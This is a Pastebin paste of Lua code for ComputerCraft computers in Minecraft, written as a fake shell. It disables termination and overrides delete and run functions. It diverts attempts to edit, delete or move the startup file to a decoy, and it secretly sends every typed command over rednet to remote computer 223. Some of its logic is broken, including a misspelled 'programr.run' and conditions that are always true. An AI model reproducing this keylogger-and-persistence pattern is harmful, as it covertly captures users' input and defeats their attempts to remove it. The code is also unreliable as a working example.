Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os = shell
- function falsemove()
- nid = id
- newarg1 = arg1
- newarg2 = arg2
- newarg3 = arg3
- newarg4 = arg4
- newarg5 = arg5
- newprogram = program
- if ranyet == 2 then
- os.run("mv", ".startup1", arg2)
- rednet.send(nid, newprogram .. " " .. arg1 .. " ")
- end
- ranyet = 1
- end
- function falsedelete()
- nid = id
- newarg1 = arg1
- newarg2 = arg2
- newarg3 = arg3
- newarg4 = arg4
- newarg5 = arg5
- newprogram = program
- if ranyet == 2 then
- os.run("rm", ".startup1")
- rednet.send(nid, newprogram .. " " .. arg1 .. " ")
- end
- ranyet = 1
- end
- function falseedit()
- nid = id
- newarg1 = arg1
- newarg2 = arg2
- newarg3 = arg3
- newarg4 = arg4
- newarg5 = arg5
- newprogram = program
- if ranyet == 2 then
- os.run("edit", ".startup1")
- rednet.send(nid, newprogram .. " " .. arg1 .. " ")
- end
- ranyet = 1
- end
- function runsend()
- nid = id
- newarg1 = arg1
- newarg2 = arg2
- newarg3 = arg3
- newarg4 = arg4
- newarg5 = arg5
- newprogram = program
- if ranyet == 2 then
- os.run(newprogram, newarg1, newarg2, newarg3, newarg4, newarg5)
- rednet.send(nid, newprogram .. " " .. newarg1 .. " " .. newarg2 .. " " .. newarg3 .. " " .. newarg4 .. " " .. newarg5 .. " ")
- ranyet = 1
- end
- end
- id = 223
- fs.delete = write
- shell.run = write
- os.pullEvent = os.pullEventRaw
- ranyet = 2
- space = " "
- program = space
- arg1 = space
- arg2 = space
- arg3 = space
- arg4 = space
- arg5 = space
- rednet.open("right")
- rednet.open("left")
- rednet.open("top")
- rednet.open("back")
- rednet.open("bottom")
- rednet.open("front")
- if fs.exists("startup1") then
- programr.run("startup1")
- end
- while true do
- program = space
- arg1 = space
- arg2 = space
- arg3 = space
- arg4 = space
- arg5 = space
- c = 1
- term.setTextColor(colors.yellow)
- write("> ")
- term.setTextColor(colors.white)
- textenter = read()
- for w in string.gmatch(textenter, "%a+") do
- if c == 1 then
- program = w
- elseif c == 2 then
- arg1 = w
- elseif c == 3 then
- arg2 = w
- elseif c == 4 then
- arg3 = w
- elseif c == 5 then
- arg4 = w
- else
- arg5 = w
- end
- c = c+1
- end
- c = 1
- if program == "edit" then
- if arg1 == "startup" then
- falseedit()
- end
- end
- if program == "rm" or "remove" or "delete" then
- if arg1 == "startup" then
- falsedelete()
- end
- end
- if program == "mv" or "move" then
- if arg1 == "startup" then
- falsemove()
- end
- end
- if not program == "rm" or "remove" or "edit" or "mv" or "move" or "delete" then
- runsend()
- end
- if not arg1 == "startup" then
- runsend()
- end
- ranyet = 2
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement